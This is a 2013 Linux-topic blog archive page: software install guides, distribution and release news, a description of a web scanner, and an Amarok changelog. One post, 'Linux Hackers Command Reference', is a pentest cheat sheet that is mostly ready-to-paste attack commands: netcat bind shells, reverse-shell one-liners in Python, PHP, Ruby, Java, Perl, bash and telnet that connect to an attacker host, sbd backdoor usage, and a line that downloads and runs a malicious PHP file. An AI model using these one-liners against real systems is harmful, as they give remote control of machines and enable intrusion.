Pages

Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Thursday, December 5, 2013

How to Install Skype on Ubuntu Linux !

Many People feel unsecured while chatting on Skype in windows platform due to the FUD (Fully Undetectable Viruses) threat. Hence today in this tutorial i will tell you how you can run Skype in Linux Platform which is almost 98% secure from RAT and other malicious viruses.

Here we Have two methods of installing Skype in Ubuntu Linux

1. Through Ubuntu Software Center
2. Manual Method

Skype Through Ubuntu Software Center
For this just go to Ubuntu Software Center and in search type Skype , Ubuntu 11.10 Support Skype 2.0 Version for Linux. Click on install and in few minutes you are ready to use the Skype.

Installing Skype Through Manual MethodThis is the easiest method to install from the command line. There are three commands that you must use to install Skype correctly.

Open your terminal and copy paste this commands 

sudo apt-get install libqt4-gui
wget -c -O /tmp/skype.deb http://www.skype.com/go/getskype-linux-ubuntu

sudo dpkg -i /tmp/skype.deb



Now you can see the Skype on your menu bar and you are ready to use Skype no need to worry about RAT and other trojan.

Wednesday, December 4, 2013

WSORROW TOOL

web-sorrow is a PERL based tool used for checking a Web server for misconfiguration, version detection, enumeration, and server information. It is NOT a vulnerability scanner, inspection proxy, DDoS tool or an exploitation framework.

Current Functionality:

-S – stands for standard. a set of Standard tests and includes: indexing of directories testing,
banner grabbing, language detection (should be obvious), robots.txt, and 200 response testing (some servers send a 200 ok for every req)


-Eb – stands for error bagging. The default config for servers is to put the server daemon and version and sometimes even the OS inside of error pages. web-sorrow reqs a URl of 20 random bytes with get and post methods.

-auth – looks for login pages with a list of some of the most common login files and dirs. We don’t need to be very big list of URLs because what else are going to name it?


-cmsPlugins – run a huge list of plugins dirs for cms servers. the list is a bit old (2010)


-I – searches the responses for interesting strings

-Ws – looks for web services such as hosting provider, blogging services, favicon fingerprinting, and cms version info

-Fd – look for generally things people don’t want you to see. The list is generated form a TON of robot.txt so whatever it finds should be interesting
-proxy – send all http reqs via a proxy. example: 255.255.255.254:8080-e – run all the scans in the scannerweb-sorrow also has false positives checking on most of it’s requests (it pretty accurate but not perfect).

VIDEO TUTORIAL:
http://www.youtube.com/watch?v=GoSzXtKGU9o

DOWNLOAD LINK:       LINK 1

Friday, November 29, 2013

NVIDIA to Release Overclocking Tools for Linux Gamers

NVIDIA is considering the development and launch of specific gaming tools for the Linux fans, which should bring platforms at the same level with Windows.

NVIDIA is providing much better drivers for the Linux platform, especially now that Steam has been launched and a lot of games have started to make an appearance.

The one thing that's missing from Linux is some control over the video graphics card, like overclocking. According to a phoronix.com report, this is about to change.

“Unfortunately, I can’t comment on unannounced features. However, I can tell you that we’re definitely taking Linux gaming serious so we’ll be arming gamers with the tools they need to get the best gaming experience possible. Stay tuned! ;),” said NVIDIA's Sean Pelletier.

This is extremely good news for the gamers who like to make the best of their hardware and for the platform in general, which will get more control over the functionality of the graphics card.

Play Your Favorite Windows Games with PlayOnLinux 4.2.1

PlayOnLinux, a software based on Wine (Wine is not an emulator) which allows users to easily install and use numerous games and apps designed to run with Microsoft Windows, has reached version 4.2.1.

The PlayOnLinux updates are a little too far in between but, given the fact that the software is based on Wine, which is updated regularly, they are not all that important. Nonetheless, you should upgrade to the latest version.

According to the changelog, when removing shortcuts or virtual drives from the Configure window, the desktop icons, menu entries, etc. are now also removed.

Also, the Python's VersionLower has been fixed, and a huge problem in bug reporting introduced in 4.2 has been corrected.

A complete list of new features and changes can be found in the official changelog, which is inside the source archive.


Download PlayOnLinux 4.2.1 :          LINK 1

Monday, November 25, 2013

DROPBOX 2.4.5 IS NOW THE LATEST STABLE VERSION

Dropbox 2.4.5, a client for an online service that lets you bring all your photos, docs, and videos anywhere, no matter the platform, is now available for download.


A new stable build of Dropbox has been released, but it's a rather conservative version. It only comes with a few changes. For example, the Finder crash at startup has been fixed, a crash when quitting in XP has been corrected, and a few other small fixes have been implemented.

A few other changes have been added in the 2.4 branch, including much faster upload/download speeds for large files. The Dropbox version has remained on 2.4.3 for now, at least on the Ubuntu systems, but that's likely to change soon.

Download Dropbox 2.4.5 for LinuxDownload Dropbox 2.4.5 for WindowsDownload Dropbox 2.4.5 for Mac OS



DOWNLAOD :         LINK 1

ARCH LINUX 2013.11.01 IS NOW AVAILABLE FOR DOWNLOAD

Yet another ISO image of the powerful Arch Linux operating system has been released today, November 1, 2013, by the Arch Linux developers.


Every month, the Arch Linux development team prepares a new installation image that contains a new kernel, new/updated packages, as well as various improvements and bugfixes, ready for those of you who are eager to install Arch Linux on new machines.

Arch Linux 2013.11.01 is the new ISO version, it is still powered by Linux kernel 3.11 (3.11.6 is the actual version) and includes all the updates that were released during the past month, October 2013.

Of course, existing Arch Linux users don’t need to grab a new ISO image of Arch Linux in order to keep their systems up to date, as this is a rolling-release distribution, and you can always keep it healthy by using the sudo pacman -Syucommand from time to time.

Arch Linux 2013.11.01 is distributed as a dual architecture ISO image, supporting both 64-bit and 32-bit platforms.


DOWNLOAD Arch Linux 2013.11.01



DONLOAD LINK :     LINK 1

Saturday, November 23, 2013

ARCH LINUX IS NOW POWERED BY LINUX KERNEL 3.12

This was a lot faster than expected, but the Arch Linux developers have just pushed a few minutes ago, November 14, 2013, the final and stable packages of the recently released Linux kernel 3.12.

Officially announced by Linus Torvalds on November 3, 2013, Linux kernel 3.12 brings several attractive features, among which we can mention support for offline deduplication in Btrfs, better performance for AMD Radeon graphics, RAID5 multithreading, automatic GPU switching in laptops with dual GPUs, better Out-Of-Memory handling, XFS directory recursion scalability improvements, improved TTY layer locking, as well as new drivers and lots of bugfixes.

Therefore, all Arch Linux users can now update their rolling-release systems to the brand new Linux kernel 3.12 using the sudo pacman -Syu command in a terminal, or via their favorite pacman GUI or CLI.

CANONICAL CLOSES ANOTHER APACHE EXPLOIT IN UBUNTU 10.04 LTS

In a security notice, Canonical published details about an Apache Commons FileUpload vulnerability in its Ubuntu 10.04 LTS (Lucid Lynx) operating system.


According to the company, Apache Commons FileUpload could have been made to overwrite files.

It has been discovered that Apache Commons FileUpload incorrectly handled file names with NULL bytes in serialized instances. An attacker could have used this issue to possibly write to arbitrary files.

For a more detailed description of the security problems, you can see Canonical's security Notification.

The security flaws can be fixed if you upgrade your system(s) to the latest libcommons-fileupload-java package specific to each distribution. To apply the update, run the Update Manager application.

In general, a standard system update will make all the necessary changes and you won't need to restart the system.

UBUNTU 14.04 LTS WILL NOT SHIP WITH MIR AND UNITY8 BY DEFAULT

Mark Shuttleworth, the founder of Canonical, has started the Ubuntu Developer Summit with a keynote and a very interesting information about Mir, Unity8, and Ubuntu 14.04 LTS.

As we all know, Canonical decided not to implement Mir into Ubuntu 13.10 (Saucy Salamander) as the default display server. The technology was too new and unstable and couldn't provide a proper experience.

This decision left the users with the certitude that Mir will definitely be a part of Unity 14.04 (Trusty Tahr), along with Unity8.

Both of these technologies have been implemented in the Phone version of Ubuntu, but Mark Shuttleworth has confirmed, in the keynote, that neither Mir nor Unity8 will be integrated, by default, in the desktop version of Ubuntu 14.04 LTS.

Uses will be able to find them in the official repositories, but for now it seems that Ubuntu 14.10 will be the one likely to carry Mir and Unity8 by default.


Tuesday, May 21, 2013

BACKBOX LINUX 3.0






A Linux distribution based on Ubuntu


BackBox is a Linux distro based on the Ubuntu operating system, developed to perform security assessments and penetration tests.

BackBox is designed to be easy to use and fast. It provides a minimal but powerful and complete desktop environment.

What's New in This Release: [ read full changelog ]

· System upgrade
· Bug corrections
· Performance boost
· Improved start menu
· Improved Wi-Fi dirvers (compat-wireless aircrack patched)
· New and updated hacking tools


HOW TO INSTALL FLASHPLAYER ON BACKTRACK 5







Install flash player on Backtrack 5 R2 step by step

Download the file below and click save to save the .deb file like shown in the screen shot

DOWNLOAD flash_player_10_linux.tar


Now type the below inside termianl, make sure you are in the downloads directory first do an ls if needed to make sure.

tar xvfz install_flash_player_10_linux.tar.gz


The result should look like the screenshot below if it went correctly



Now keep terminal open and type in the command below and press enter

mkdir ~/.mozilla/plugins



Last but not least type the command shown below into the same terminal window and press enter

mv -f libflashplayer.so ~/.mozilla/plugins/



Thats it, Flash Player should now be installed and working. Hope you enjoyed this tutorial and it helps someone out...

Sunday, May 12, 2013

Linux Hackers Command Reference

Linux Command Reference for Pen-testers



This part of the blog is dedicated to Linux and Unix-like commands that can be used from Penetration Testers (yea who is your tester?) and Information Security Administrators. In this page I will periodically post Linux tiny simple scripts and commands that a Penetration tester or a Security Administrator can use to:


1. Perform Administration Security tasks (e.g use windows/linux netcat to bind shells e.t.c).

2. Run Vulnerability Scans (e.g Identify null sessions, test for LANMAN services e.t.c).

3. Do pivoting (e.g after compromising a machine use windows tools to escalate e.t.c).



Using Netcat to Bind Shell




Launching a listening shell in windows and binding from linux:

nc.exe -L -p <listening port> -e cmd.exe - Running in windows box

nc <windows box ip> <windows port> - Run in Linux/Unix-like box

Launching a listening shell in Linux/Unix-like and binding from Windows:

nc -l -p <listening port> -e /bin/sh - Running in Linux/Unix-like box

nc.exe <linux box ip> <linux port> - Run in Windows box


Using Netcat to transfer files


This can be used to transfer types of files from Linux to windows: 

nc.exe -lvvp 4444 > output.txt - Running in the Linux/Unix-like box
cat input.txt | nc.exe -vv 192.168.8.74 4444 - Run in Windows box


This can be used to transfer all type of files from windows to Linux: 

nc.exe -lvvp 4444 > output.exe - Running in the Linux box
type input.exe | nc -vv <windows box ip> 4444 - Run in Windows box


Note:
You might want to run a file command to identify the type of the file you want to transfer. There is no difference between transferring binary and text files (most of the time).


Using Netcat for port scanning 

nc -v -n -z -w 1 192.168.1.2 1-1000 - Run from Linux/Unix-like box
nc.exe -v -n -z -w 1 192.168.1.2 1-1000 - Run from Linux/Unix-like box


Note: The "-n" parameter here prevents DNS lookup, "-z" makes nc not receive any data from the server, and "-w 1" makes the connection timeout after 1 second of inactivity. The commands above will scan from port 1 to 1000.

Using Python to get shell

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Using PHP to get shell

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


Using Ruby to get shell

This shell binds a shell in port 1234 (good for installed ruby in the victim machine):

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 
Using Java to get shell 
The following command opens a listening shell in 10.0.0.1:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


Using Perl to get shell

And a shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Alternatives to Bash Shell

Here are some tricks taken from Dameles blog to play with.

exec /bin/bash 0&0 2>&0

Or:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or:

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done


Using Telnet to get shell


Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Or:

telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 

Note: Remember to listen on your machine also on port 4445/tcp

Using sbd to get shell

An article on http://www.secureit.co.il discussed the availability of sbd (Shadowinteger's Backdoor), available at http://cycom.se/dl/sbd. It is described as a ‘Netcat- clone, designed to be portable and offer strong encryption’. It supports aes-128 encryption and is available on most platforms, including win32 and Linux.
Command with no encryption for listening in Windows: sbd.exe –l –p 5555 –c off
Command with encryption for listening in Windows: sbd.exe –l –p 5555 –c on
Binding a shell to Windows machine with encryption: sbd.exe –l –p 5555 –c on –e cmd.exe
Binding a shell to Windows machine with encryption: sbd.exe –l –p 5555 –c off –e cmd.exe
Command with no encryption for connecting to Windows from Linux: sbd 192.168.11.21 5555 –c off
Command with encryption for connecting to Windows with Linux: sbd 192.168.1.21 5555 –c on
This command will monitor traffic at the server side: sbd -m on -r 0 -l -p 100 -e cmd.exe
This command will cause a port forwarding: sbd 127.0.0.1 2000 | cmd.exe | sbd 127.0.0.1 3000
This command will do perform a connection forwarding: sbd -vv -l -p 90 | sbd -c off www.radarhack.com 80

Note:
The example of the reverse shell should prove that a decent configuration of firewalls in the outbound direction is necessary. In the scenario that a Trojan can be installed on a webserver, it is very important to prevent that this server can connect back out of the network, resulting in a shell for the attacker.

Using sbd to transfer file

For file receiving in Windows the command is: sbd.exe –l –p 5555 > output.txt
For file sending in Linux the command is: cat input.txt | sbd 192.168.11.21 5555


Note: There is not difference in transferring an executable or simply a text file.

Using sbd to respawn the shell

Another interesting feature of sbd if the -r option that allows you to respawn the shell. From the moment the client disconnects, the server side will exit. In order to respawn the server, specify the -r seconds’ switch. The server will be listening a gain after the specified amount of time. This might prevent the backdoor from existing and prevent to reconnect. Specifying a time of 0 seconds, will respawn the server immediately.
Here is a typical interaction with sbd respawning the shell after the connection is droped:

sbd -r 8 f -P server -l -p 100

demolisher: test1

demolisher: test2

sbd -P demolisher 127.0.0.1 100

test1

^C

sbd -P demolisher 127.0.0.1 100

connect(): WSAECONNREFUSED

sbd -P demolisher 127.0.0.1 100

connect(): WSAECONNREFUSED

... after 8 seconds ....

sbd -P demolisher 127.0.0.1 100

test2

After evaluating (or playing in other words), the tool seems very useful and easy to use. It contains (much) less features than netcat, although it offers build-in encryption, which can be useful to avoid IDS/IPS systems, although some will detect malicious behavior, if used on well-known ports.

Useful commands for copy paste

nc &lt;attacker_ip&gt; &lt;port&gt; -e /bin/bash
mknod backpipe p; nc &lt;attacker_ip&gt; &lt;port&gt; 0&lt;backpipe | /bin/bash 1&gt;backpipe
/bin/bash -i &gt; /dev/tcp/&lt;attacker_ip&gt;/&lt;port&gt; 0&lt;&1 2&gt;&1
mknod backpipe p; telnet &lt;attacker_ip&gt; &lt;port&gt; 0&lt;backpipe | /bin/bash 1&gt;backpipe
telnet &lt;attacker_ip&gt; &lt;1st_port&gt; | /bin/bash | telnet &lt;attacker_ip&gt; &lt;2nd_port&gt;
wget -O /tmp/bd.php &lt;url_to_malicious_file&gt; && php -f /tmp/bd.php

References:
http://pentestmonkey.net
http://wikipedia.org
blog

Friday, April 26, 2013

AMAROK 2.4.2 BETA 1 "NIGHTSHADE" RELEASED




This has been a busy spring and early summer in Amarok-land. Developers met up in Randa, Switzerland and sprinted with a lot of other KDE teams, including KDE Multimedia. Besides lots of good times, much coding progress and bugfixing was done too. You will immediately notice a new streamlined look, and some nice background graphics. The other big change is in dynamic playlists.
One we have been waiting for: drag and drop on Collections, to copy or move within Local Music, and also directly from the Playlist. We also got patches for various bugs and wishes: one can now configure the names of Podcast episodes, thanks to Sandeep Raghuraman, and automatic scrolling in the Lyrics applet is possible, thanks to Jan Gerrit Marker. Good news for classical music listeners, you now have the option to scrobble the composer as artist in Last.fm, thanks to Nicholas Wilson.
We also have an updated dynamic playlist which should be easier to understand. Some of the functionality changes are: New AlbumPlay example playlist, a Quiz-play bias that will pick a song that starts with the same character the last one ended with, preventing duplicate tracks.
And of course we have quite a few bug-fixes, and changes under the skin. The changelog below gives a fairly complete overview of the changes in this beta release. Please help us test it and get it ready for prime-time.


Features


-Made Amarok compile with the Clang LLVM frontend.
-Enable drag and drop on collections to copy/move within Local Music and directly from the playlist.
-Added KNotify scripting interface.
-Make podcast episodes download filename configurable. Patch by Sandeep Raghuraman.
-Automatic scrolling in lyrics applet (Thanks to Jan Gerrit Marker)
-Option to scrobble composer as artist to Last.fm (Thanks to Nicholas Wilson)
-Option to hide the OSD if another window is taking the full screen


Changes

-Again write back ratings only if option is selected.
-Moved the queue-editor action to the main menu under playlist to save space. Queue editor now has a     shortcut: Meta+U.
-Removed the redo action from the playlist toolbar to make it less wide.
-Made some playlist toolbar actions collapse into a menu button for use on small screens.
-Removed the statusbar. Moved progress info & messages to the Media Sources dock.
-Removed the preview button and checkbox from the organize collection dialog.
-General user interface cleanup (addition of browser widget backgrounds, etc.)
-Removed the add button in the context toolbar. Applet explorer is opened on config.
-Easier to understand Dynamic playlists
-Made Amarok depend ffmpeg-0.6 or newer.
-Use KImageCache if possible (kdelibs 4.5.0 and later), which should reduce the number of cache-related crashes.


 Bugfixes

-Don't let the album applet freeze Amarok for ages on track change.
-Fixed cover fetching from Google Images.
-Fixed a crash in the equalizer dialog when selecting "Off".
-Fix finalization of track copy process to media device collections.
-Fixed crash on MusicBrainz search.
-Avoid crash in ContextView when accessing Plasma::Applet::view().
-Fixed playlist tooltip getting too tall for multiline comments.
-Made equalizer keywords (dB,kHz,...) translatable.
-Made equalizer preset names translatable.
-Fixed runtime error reporting of scripts.
-Fixed "Happy" moodbar theme.
-Fixed crash for invalid scripts trying to be stopped by the manager.
-Fixed collection menu items ordering.
-Fixed top level podcast location setting.
-Fixed double-clicking in collection using left-handed mouse setting.